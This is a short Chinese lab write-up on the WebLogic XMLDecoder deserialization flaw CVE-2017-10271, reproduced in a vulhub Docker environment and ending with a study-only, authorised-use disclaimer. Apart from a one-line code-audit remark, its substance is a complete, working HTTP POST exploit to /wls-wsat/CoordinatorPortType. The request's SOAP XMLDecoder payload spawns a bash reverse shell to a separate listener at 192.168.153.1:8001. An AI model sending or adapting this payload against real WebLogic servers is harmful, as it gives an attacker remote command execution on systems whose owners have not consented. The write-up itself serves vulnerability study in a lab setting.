环境

https://vulhub.org/#/environments/weblogic/CVE-2017-10271/

启动环境

docker-compose up -d

代码审计

传入参数

中间跟进函数

最后的出口
没有限制，直接包参数传入xmlDecoder

public String readLine() throws IOException {
    return (String)this.xmlDecoder.readObject();
}

利用

bash 反弹shellpoc
需要html实体编码 例如> 等
Content-Type: text/xml 需要设置接收的类型为text/xml

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.153.200:7001
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.153.1/8001 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

说明

仅作为学习使用，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权。请勿对非授权目标进行测试。